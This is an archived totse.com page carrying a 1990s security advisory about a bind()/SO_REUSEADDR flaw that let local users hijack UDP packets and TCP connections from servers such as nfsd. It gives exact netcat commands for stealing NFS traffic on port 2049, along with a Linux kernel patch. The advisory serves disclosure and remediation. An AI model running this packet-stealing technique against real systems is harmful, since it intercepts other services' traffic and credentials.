About
Community
Bad Ideas
Drugs
Ego
Erotica
Fringe
Society
Technology
Hack
Introduction to Hacking
Hack Attack
Hacker Zines
Hacking LANs, WANs, Networks, & Outdials
Magnetic Stripes and Other Data Formats
Software Cracking
Understanding the Internet
Legalities of Hacking
Word Lists
register | bbs | search | rss | faq | about
meet up | add to del.icio.us | digg it

Packet Stealing with bind


NOTICE: TO ALL CONCERNED Certain text files and messages contained on this site deal with activities and devices which would be in violation of various Federal, State, and local laws if actually carried out or constructed. The webmasters of this site do not advocate the breaking of any law. Our text files and message bases are for informational purposes only. We recommend that you contact your local law enforcement officials before undertaking any project based upon any information obtained from this or any other web site. We do not guarantee that any of the information contained on this system is correct, workable, or factual. We are not responsible for, nor do we assume any liability for, damages resulting from the use of any information on this site.
System Call: bind()
Affected Operating System: Linux, SunOS, FreeBSD, BSDI, Ultrix
Probably others.
Requirement: account on system.
Security Compromise: Stealing packets from
nfsd, yppasswd, ircd, etc.
Credits: *Hobbit* <[email protected]>
bitblt <[email protected]>
Aleph One <[email protected]>
Synopsis: bind() does not properly check
to make sure there is not a socket
already bound to INADDR_ANY on the same
port when binding to a specific address.

On most systems, a combination of setting the SO_REUSEADDR
socket option, and a call to bind() allows any process to bind to
a port to which a previous process has bound width INADDR_ANY. This
allows a user to bind to the specific address of a server bound to
INADDR_ANY on an unprivileged port, and steal its udp packets/tcp
connection.

Exploit:

Download and compile netcat from ftp://ftp.avian.org/src/hacks/nc100.tgz
Make sure an nfs server is running:

w00p% netstat -a | grep 2049
udp 0 0 *.2049 *.* LISTEN

Run netcat:

w00p% nc -v -v -u -s 192.88.209.5 -p 2049
listening on [192.88.209.5] 2049 ...

Wait for packets to arrive.

Fix:

Linux: A patch was been sent to Linus and Alan Cox. It should be
included with 1.3.60. My original patch (included bellow) allows for
binds from the same uid, as some virtual hosting software like modified
httpds, and ftpds, may break otherwise.

Alan didnt like this, so all bind to the same port will
not be allowed in newer kernels. You should be able to easily adapt
this patch or Alan's patch to 1.2.13 without much trouble.

Others: Pray to your vendors.

--- begin patch ---

diff -u --recursive --new-file linux-1.3.57/net/ipv4/af_inet.c linux/net/ipv4/af_inet.c
--- linux-1.3.57/net/ipv4/af_inet.c Mon Dec 25 20:03:01 1995
+++ linux/net/ipv4/af_inet.c Tue Jan 16 19:46:28 1996
@@ -46,6 +46,8 @@
* Germano Caronni : Assorted small races.
* Alan Cox : sendmsg/recvmsg basic support.
* Alan Cox : Only sendmsg/recvmsg now supported.
+ * Aleph One : Rogue processes could steal packets
+ * from processes bound to INADDR_ANY.
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
@@ -899,6 +901,12 @@

if (sk2->num != snum)
continue; /* more than one */
+ if ((sk2->rcv_saddr == 0 || sk->rcv_saddr == 0) &&
+ current->euid != sk2->socket->inode->i_uid)
+ {
+ sti();
+ return(-EADDRINUSE);
+ }
if (sk2->rcv_saddr != sk->rcv_saddr)
continue; /* socket per slot ! -FB */
if (!sk2->reuse || sk2->state==TCP_LISTEN)
 
To the best of our knowledge, the text on this page may be freely reproduced and distributed.
If you have any questions about this, please check out our Copyright Policy.

 

totse.com certificate signatures
 
 
About | Advertise | Bad Ideas | Community | Contact Us | Copyright Policy | Drugs | Ego | Erotica
FAQ | Fringe | Link to totse.com | Search | Society | Submissions | Technology
Hot Topics
Php
Withstanding an EMP
Good computer destroyer?
Wow, I never thought the navy would be so obvious.
Alternatives Internets to HTTP
Anti-Virus
a way to monitor someones AIM conversation
VERY simple question: browser history
 
Sponsored Links
 
Ads presented by the
AdBrite Ad Network

 

TSHIRT HELL T-SHIRTS